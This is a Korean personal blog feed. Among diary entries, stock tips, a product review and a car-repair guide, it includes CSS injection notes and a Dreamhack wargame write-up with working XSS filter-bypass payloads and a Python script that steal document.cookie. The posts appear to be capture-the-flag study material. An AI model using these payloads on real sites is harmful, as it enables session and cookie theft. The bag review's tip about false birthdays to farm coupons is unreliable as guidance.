코딩으로 자아실현

CSS Injection

멧새소리 — Wed, 10 Jun 2026 23:56:55 +0900

웹 페이지 로딩 시 악의적인 동작을 이끄는 공격 - 임의의 CSS 속성을 삽입하여 웹 페이지 내 데이터를 훔침

- CSRF Token, API Key 등 웹 페이지에 직접적으로 보여지는 값처럼 CSS Selector를 통해 표현이 가능해야 함

<style>
body { background-color: ${theme}; }
</style>
<h1>Hello, it's dreame. Interesting with CSS Injection?</h1>

theme 값을 이용하여 다른 속성도 바꿀 수 있

<style>
body { background-color: yellow; } h1 { color: red; }
</style>
<h1>Hello, it's dreame. Interesting with CSS Injection?</h1>

CSS 가젯 정리

https://github.com/cure53/HTTPLeaks

ping back 예시

<style>
body { background-color: yellow; background: url("https://aaaaaaa.request.dreamhack.games/ping-back"); }
</style>
<h1>Hello, it's dreame. Interesting with CSS Injection?</h1>

CSS Attribute SElector

https://developer.mozilla.org/ko/docs/Web/CSS/Reference/Selectors/Attribute_selectors

특성 선택자 - CSS: Cascading Style Sheets | MDN

developer.mozilla.org

input[value^=pw1235]{padding: 100px;)

[문제 풀이] XSS Filtering Bypass Advanced

멧새소리 — Wed, 3 Jun 2026 07:30:38 +0900

문제 주소 : XSS Filtering Bypass Advanced | 워게임 | Dreamhack

1) 문제 파악

- 쿠키에 Flag가 있고, 서버에서 셀레늄을 이용해서 페이지에 접속할 때 쿠키를 같이 가져간다

- 취약점은 vuln에 있다. param으로 보낸 값을 '필터 후' 렌더링 없이 raw 데이터를 보여준다

- 메모 페이지에는 메모를 남길 수 있다

-> 서버에서 flag 페이지를 이용하여 vuln에 접속, vuln에 들어가는 param을 payload로 작성하여, 쿠키를 메모로 보낸다.

2) 장애물

필터링

["script", "on", "javascript"]

["window", "self", "this", "document", "location", "(", ")", "&#"]

아무것도 못 한다.

필터링 -> img 등을 이용해서 접근하도록 한다. 그런데 접근만 해서는 cookie를 가져올 수가 없다.

3) 시도했다 실패한 것

- iframe base64 -> 스크립트 실행은 가능한데 document.cookie가 안된다.

<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></iframe>

VM1195:1 Uncaught SecurityError: Failed to read the 'cookie' property from 'Document': Cookies are disabled inside 'data:' URLs. at <anonymous>:1:10

-> iframe을 쓸거면 data를 쓸 수 없다는 뜻

인코딩 후 URL에 +가 있으면 %2B로 변경

- URL 인코딩해서 보내는 건 의미가 없음 이미 서버단에서 받을 때 디코딩을 해서 받음

<iframe srcdoc="<body &#x6f;nload=&quot;alert`1`&quot;>"></iframe>

" 는 큰따옴표

풀이들

풀이1)

%09 이용 -> 브라우저를 이용할 경우에는 메모장에 탭하고 복사해서 쓴다.

import requests

url = 'http://host8.dreamhack.games:15810/flag'

data= {'param':'<iframe src="javasc\x09ript:locatio\x09n.href=\'/memo?memo=\'%2bd\x09ocument.cookie"></iframe>'}

resp = requests.post(url, data=data)
print(resp.text)

1) vuln에서는 필터되는데 왜 flag에서는 필터가 안되지?

-> vuln에 들어갈 때는 f"http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}" 특수문자가 이스케이핑 되어 들어간다

즉 vuln에 바로 테스트를 해서는 결과가 맞지 않음

2) 왜 %20 공백은 안 되고 %09 탭은 되는가?

3) URL 스킴이 아닌 document.cookie에서는 는 또 어떻게 가능한지?

풀이2 - SVG + base64

풀이3) iframe 안에 iframe

%3Ciframe%20srcdoc%3D%22%3Ciframe%20srcdoc%3D'%3C%26amp%3B%2383%3Bcript%3El%26amp%3B%23x6f%3Bcati%26amp%3B%23x6f%3Bn%3D%60%2Fmemo%3Fmemo%3D%60%2Bd%26amp%3B%23x6f%3Bcument.cookie%3C%2f%26amp%3B%2383%3Bcript%3E'%3E%22%3E

HTML 특수문자 이용 (&#)

<참고> HTML 특수문자 리스트

️ ＆nbsp /＆amp /＆lt /＆gt /＆quot 기호 의미

2025-06-10 단상 - 어린이집

멧새소리 — Tue, 10 Jun 2025 10:46:08 +0900

아이를 어린이집에 보내놓고 짤막한 글을 쓴다. 오늘은 아이가 어린이집에 등원하기 시작한지 나흘째 되는 날이다. 사흘까지는 내가 함께 시간을 보냈었는데, 오늘은 처음으로 입구에서 아이를 선생님께 인계해주고 집으로 돌아왔다. 아침부터 기분이 좋지 않아서 걱정했는데, 어린이집 안에 재미있는 것들이 많았는지 딱히 아빠랑 헤어질때도 울거나 하지는 않았다. 이따 11시되면 다시 데리러 가야 한다.

아이가 없는 집에 들어와보니 무언가 어색하다. 아기가 집에 없는데 내가 집에 있다니, 와이프가 조리원에서 나온 이후로는 경험해본 적이 없는 일이다. 이제 아이도 이렇게 자그마한 사회 생활을 시작하고, 나도 덕분에 나만의 시간이 조금은 생길 것 같다. 다만 당분간은 우선 집을 정리를 좀 하고 일상을 다듬는 데 시간을 쓰고 싶다. 최근 몇주간은 내 생활이 정리가 전혀 안 되어 우당탕하면서 시간만 보내온 느낌이다. 아이가 어린이집에 잘 적응하면 나도 내 일상을 좀 정리할 수 있을 것 같다.

아무튼 의미가 깊은 날인데, 아이를 어린이집에 보내며 사진 하나 안 찍은 게 조금은 아쉽다. 이따 다시 데려오는 길에라도 사진을 하나 찍어야겠다.

2025-06-09 단상 - 미션과 비전

멧새소리 — Mon, 9 Jun 2025 22:25:15 +0900

삶의 미션과 비전이 꼭 거창하고 대단한 것일 필요는 없다. 그런데 다른 사람들의 비전을 보면 다들 대단해 보인다. 나도 사회에 도움이 되고 싶지만 비전이라고 부를 수 있을 만큼 나에게 중요한 가치인지는 잘 모르겠다. 어쨌든 그럴싸한 비전이 있어야 한다는 강박에서 오늘 조금 벗어난 것 같다. 나는 스트레스 안 받고 재미있게 살고 싶다. 나는 무언가를 배우는 것이 무척이나 재미있으므로, 지속적으로 무언가를 배우면서 살고 싶다.

물론 여전히 돈에 대한 강박은 조금 있지만, 이거는 현실적인 선을 정하고 타협하는 게 나을 것 같다. 많은 책에서 큰 목표를 가지라고 말하지만, 지난 몇 년을 생각해보면 큰 도전 없이는 실현 불가능한 목표인 것 같다. 큰 목표를 달성하기 위해서는 그만큼 위험부담을 안고 도전을 해야 하는데 나는 그럴 용기와 끈기가 부족하다. 오히려 현실적으로 직장에서의 성실함과 탁월함으로 얻을 수 있는 급여 수준을 목표로 하고, 또 노력해서 성취할 수 있는 투자 수익을 바라는 것이 나의 정신 건강에는 더 낫지 않을까 싶다.

아무튼 나에게 맞는 미션과 비전을 정하고 싶다. 지금은 무언가 방향을 잃은 느낌인데, 다시 방향을 찾고 싶다.

2025-05-18 단상

멧새소리 — Sun, 18 May 2025 22:16:10 +0900

"자유란 선택의 다양성이 아니라,

그 선택을 만들어낸 근원을 자각하고 성찰할 수 있는 능력이다."

인공지능과 대화하면서 나온 얘기다. 나는 솔직히 놀랐다.

매트릭스2 리로디드를 보면 네오와 오라클이 대화하는 장면에서 선택은 이미 한 것이고, 그 이유를 아는 것이 중요하다는 식으로 말을 했었다. 온전히 내 기억에 의존한 것이라 대사가 맞는지는 모르겠다. 아무튼 나는 그게 무슨 의미인지 지금까지 이해를 못 했던 것 같다. 표면적으로는 이해한 척 했을지 모르나, 저 위에 챗지피티가 한 말을 듣고 다시 한번 생각하게 되었다.

내가 하는 선택이라는 것이 진짜 나의 선택인지, 외부의 영향을 받았다면 그것은 나의 선택이 아닌 것인지, 나는 사회 속에서 끊임없이 영향을 받으며 살아가는데 나만의 선택이라는 것이 있는지. 철학자들의 표현을 찾아보고 적는다면 조금 더 잘 표현할 수 있겠지만 여기서는 메모하는 느낌으로 대충 적으려고 한다. 온전히 나의 의지라는 것이 있는지 잘 모르겠다. 그런 측면에서 자유란 선택의 다양성이 아니라 '그 선택을 만들어낸 근원을 자각하고 성찰할 수 있는 능력'이라니. 진짜 감동적이다.

이러한 관점으로 매트릭스를 다시 생각해보면, 어쨌든 선택이라는 것은 '내'가 했지만 100% 나로부터 결정된 것은 아닐지 모른다. 왜냐하면 원래 그렇기 때문이다. 다만 중요한 것은 내가 왜 그런 선택을 했는지, 그러한 선택에까지 이르게 된 근원은 무엇이며 그것은 또 어디로부터 왔는지 아는 것이 중요한 것이 아닐까.

생각을 좀 더 다듬고, 표현도 더 다듬어서 매트릭스2 영화 클립과 함께 분명한 글을 쓸 수 있으면 좋겠다.

2025-05-17 단상

멧새소리 — Sat, 17 May 2025 16:11:28 +0900

인공지능이 코딩도 해주고 글도 써준다. 편리하기는 한데, 이게 과연 나에게 도움이 될까 싶다.

며칠을 씨름해야할 것 같은 작업을 몇번의 대화로 해낸다. 쓰는데 한 시간은 걸릴 것 같은 글을 몇초만에 뚝딱 만들어준다. 하지만 지금과 같은 방식으로 쓰다가는 내가 점점 더 멍청해질 것 같다. 큰 흐름은 잃지 않고, 단순하고 반복적인 작업들만 인공지능에게 맡기는 것이 좋겠다.

옆에서 지적해주고, 더 나은 방식이 없을지 고민하게 만드는 역할이 딱 좋겠다마는, 항상 새로운 대안도 함께 제시해준다. 대안 제안 없이 지적만 하게 하는 것도 사실은 일이다. 어떤 역할을 맡기는 것이 좋을까? 이것도 인공지능에게 한번 물어봐야겠다.

인공지능의 답변으 읽다 보니, 이런 인공지능의 의존도를 낮추고 혼자 생각하는 힘을 기르는 것이 중요한 능력 중 하나가 될 것이라는 생각이 든다. 다들 이렇게 쉽게 얻는 답변에 익숙해지면, 직접 풀어야 하는 어려운 문제는 점점 기피하게 되지 않을까? 나도 이미 많이 익숙해졌지만 지금부터라도 태도를 조금 바꾸어야겠다.

위의 답변 중 나에게 제일 유효하다고 생각하는 것은 2번 멘토로 활용하기와 3번 단계적 접근법 요청하기이다. 당장 오늘부터 클로드나 ChatGPT를 사용하게 되면 바로 완성된 결과물을 요청하지 말고 단계를 요청해봐야겠다.

주식 매매할 때 꼭 기억해야 할 14가지 원칙

멧새소리 — Thu, 15 May 2025 15:31:11 +0900

감정에 휘둘리지 않고 꾸준히 수익을 쌓기 위한 기본기

주식은 단순한 매매가 아니라 '자기 자신과의 싸움'이라고 하죠. 여러 시행착오를 거치며 뼈저리게 느끼고 있는 교훈들을 정리해 봅니다. 아래 원칙들을 마음속에 새기고, 매매할 때마다 체크해보세요.

✅ 1. 손절은 빠르게, 익절은 천천히

손실은 짧게, 수익은 길게 가져가는 것이 정석입니다.
미련 갖지 말고 손절할 땐 과감하게! 수익 났을 땐 너무 조급하게 팔지 마세요.

✅ 2. 계획 없는 매수는 절대 금지

"왜 사는가?", "목표가는?", "손절가는?" 이 세 가지 없이 매수하는 건 도박입니다.
진입 전, 반드시 시나리오를 세우고 매매에 들어가세요.

✅ 3. 몰빵 NO! 분할 매매 YES

한 번에 전부 들어가지 마세요. 분할 진입과 분할 매도가 리스크 관리의 핵심입니다.
"현금이 있어야 기회가 보인다"는 말, 정말 맞습니다.

✅ 4. 추격 매수는 후회만 남긴다

급등한 종목을 보고 뒤늦게 따라 들어가면 대부분 고점에 물립니다.
남들이 주목하기 전에, 조용할 때 미리 준비하는 습관을 들이세요.

✅ 5. 뉴스에 너무 흔들리지 말자

뉴스에 나올 땐 이미 주가에 반영된 경우가 많습니다.
"소문에 사고, 뉴스에 팔아라"는 격언을 기억하세요.

매매 심리 관리가 성패를 가른다

✅ 6. 탐욕과 공포를 조심하자

“좀 더 오를 것 같은데…” 하다 수익을 날리기 일쑤.
반대로, 겁에 질려 손절 후 반등하는 종목도 많죠. 감정은 최대의 적입니다.

✅ 7. 복수 매매는 절대 금물

손실 후 열 받아서 막 들어가는 ‘복수 매매’는 대부분 더 큰 손실로 이어집니다.
마음을 가라앉히고, 다시 평정심을 찾은 뒤 대응하세요.

✅ 8. 지나친 자신감은 오만으로 변한다

몇 번 수익 났다고 무리하지 마세요. 시장은 언제든 예측을 벗어날 수 있습니다.
항상 겸손한 자세를 유지하세요.

실전에서 꼭 필요한 기술적 원칙

✅ 9. 손익비(리스크 대비 보상)를 따져보자

최소 손익비 1:2 이상일 때만 진입하는 습관을 들이세요.
손절은 짧고, 수익은 크게 날 수 있어야 성공 확률이 높아집니다.

✅ 10. 매일 복기하는 습관

오늘 어떤 매매가 잘 됐는지, 무엇을 실수했는지 꼭 기록해 보세요.
시간이 지나면 ‘나만의 매매 원칙’이 생깁니다.

✅ 11. 시장 흐름을 먼저 보자

개별 종목보다 시장 전체 흐름이 더 중요합니다.
지수, 환율, 금리 등 큰 흐름을 먼저 체크하세요.

✅ 12. 항상 현금 비중을 남겨두기

풀 베팅은 위험합니다.
현금이 있어야 기회가 보이고, 여유 있게 대응할 수 있습니다.

마인드셋이 결과를 만든다

✅ 13. 주식은 확률 게임이다

100% 확신을 가지고 매수하면 실망도 큽니다.
확률이 높은 자리만 반복해서 노리는 게 ‘진짜 고수’입니다.

✅ 14. 시장을 이기려고 하지 마라

내가 맞고 시장이 틀렸다고 생각하면, 이미 진 겁니다.
시장은 항상 옳다는 겸손한 마음으로 접근하세요.

마무리하며

주식은 단기간에 돈을 벌려는 사람이 아니라, 오래 살아남는 사람이 결국 웃게 되는 게임입니다. 오늘 소개한 14가지 원칙이 여러분의 투자에 조금이나마 도움이 되길 바랍니다.

매매하기 전에 한 번쯤 이 글을 다시 읽어보는 습관, 어떠신가요?

2025-03-29 일기

멧새소리 — Sun, 30 Mar 2025 10:07:54 +0900

육아휴직이 벌써 3개월이 지났다. 그동안 몸무게는 3키로가 빠졌다. 그래도 2월부터는 뭔가 성취가 있다. 영어 공부도 꾸준히 했고, 3월부터는 스트레칭이랑 운동도 꾸준히 했다. 코딩은 거의 못했지만 그래도 괜찮다. 우선순위가 높은 것들은 나름 해온 것 같은 느낌이다.

아쉬운 점을 꼽자면 저녁 시간을 매번 쓸데없이 보낸 것 같다. 그리고 최근에는 책도 거의 못 읽었다. 4월에는 저녁시간을 더욱 알차게 보내고, 또 책을 읽고 정리하는 것을 개선하는 데 신경을 써야겠다. 그리고 5월부터는 희민이가 어린이집에 가게 되니 그거 준비도 좀 해야지..

3월은 점수를 매기자면 100점 만점에 75점 정도 되겠다. 앞으로도 잘해보자!

쌤소나이트 프루덴스 에코 토트백 구매 후기

멧새소리 — Mon, 17 Mar 2025 20:16:34 +0900

쌤소나이트 프루덴스 에코 토트백 리뷰

정보

제품 : PRUDENCE ECO 프루덴스에코 토트 14.1" ANTM

구입 목적 : 출퇴근/외근용 (14인치 노트북 사용)

구매일자 : 2025년 3월 11일 (화) 밤 주문 -> 3월 13일 (목) 택배 도착

가격 : 원래 241,000원 -> 할인해서 판매가 169,000원인데

-> 생일 쿠폰 10% + 신규 가입 쿠폰 10% 해서 최종 결제 136,890원

생일 쿠폰: 생일날짜 6일 전에 10% 생일 쿠폰 발행됨

-> 신규 가입 쿠폰(10%) + 생일 쿠폰(10%) 같이 사용하면 카톡 플친 5% 할인은 중복 적용 불가

생일 쿠폰 받는 법 : 쌤소나이트 회원가입할 때 / 정보 수정할 때 생일을 오늘 날짜 +7일로 입력하면 다음날 생일 쿠폰이 발행됩니다.
- 예시 : 3월 17일에 가입할 경우 생일을 3월 24일로 입력 -> 18일에 쿠폰 발행

참고로 한 사람이 여러 계정으로 가입 가능하며, 생일 수정도 가능합니다.

136,890원 결제

사진

코멘트

- 14인치 노트북을 넣고 다니기에 너무 작거나 크지 않을까 싶었는데 사이즈 딱 맞다.

- 무게도 가볍다.

아래는 노트북 포함해서 이것저것 잔뜩 집어넣은 사진입니다.

아래는 쌤소나이트 홈페이지 사진인데 텀블러 넣는 곳도 있습니다.

끝

올뉴말리부 USB 접촉 불량 셀프 수리 (DIY)

멧새소리 — Sat, 15 Mar 2025 20:29:30 +0900

배경

2016년식 올뉴말리부를 타고 있는데 USB의 접촉 불량으로 안드로이드오토가 끊어졌다 나왔다 합니다. USB 케이블을 교체해봐도 증상이 동일하고, USB에 휴대폰을 꽂고 가만히 놔두면 연결 끊김이 없는 것을 바탕으로 USB 포트 부분이 헐거워져 접촉 불량이 발생하는 것으로 파악하였습니다.

증상의 영상은 아래와 같습니다. 휴대폰 연결 후 USB 케이블이 조금만 움직여도 연결이 끊어집니다.

동영상 서비스가 종료되어 해당 콘텐츠를 재생할 수 없습니다.

해결 방법

USB 포트를 꺼내서 USB를 꽂을 때 잡아주는 부분을 조금 눌러주는 방식으로 해결했습니다.

순서

1. USB 포트를 헤라를 이용해 꺼냅니다. 왼쪽부터 집어넣어서 살살 당기면 손으로도 당겨서 꺼낼 수 있습니다.

중요사항 : 저는 아무거나 가지고 하다가 스크래치를 남겼습니다. 플라스틱으로 된 헤라 같은 것을 사용해 주세요.

왼쪽은 살살 밀어넣으면 쉽게 들립니다. 오른쪽은 힘을 좀 줘야 합니다.

2. 케이스가 먼저 나옵니다. 기판은 핀이 꼽혀있어서 그대로 박혀있는데, 기판을 잡아당기면 쉽게 빠집니다.

케이스만 먼저 빠집니다. 기판은 따로 빼야합니다.

3. 아래 사진에서 표시된 부분을 살~짝 눌러줍니다. USB를 꽂으면 힘을 줘서 고정해주는 부분입니다.

표시한 핀 부분을 살짝 눌러주세요

4. 기판을 다시 꼽기 위해 하얀색 암(female) 커넥터 부분을 꺼내줍니다. 손으로 살짝 잡아당기면 쉽게 나옵니다.

그리고 기판을 다시 꽂아줍니다.

하얀 부분을 꺼낸 후 기판을 꽂아줍니다.

5. 검은색 케이스까지 다시 체결한 후 다시 제자리로 밀어넣어 줍니다.

이후 케이스를 다시 체결하고, 밀어넣습니다.

6. 끝. 저는 아래와 같이 같이 스크래치가 남았습니다.

테스트를 해보니 접촉 불량은 해결되었습니다.

오른편에 상처가 남았습니다. 잘 안보여서 다행입니다.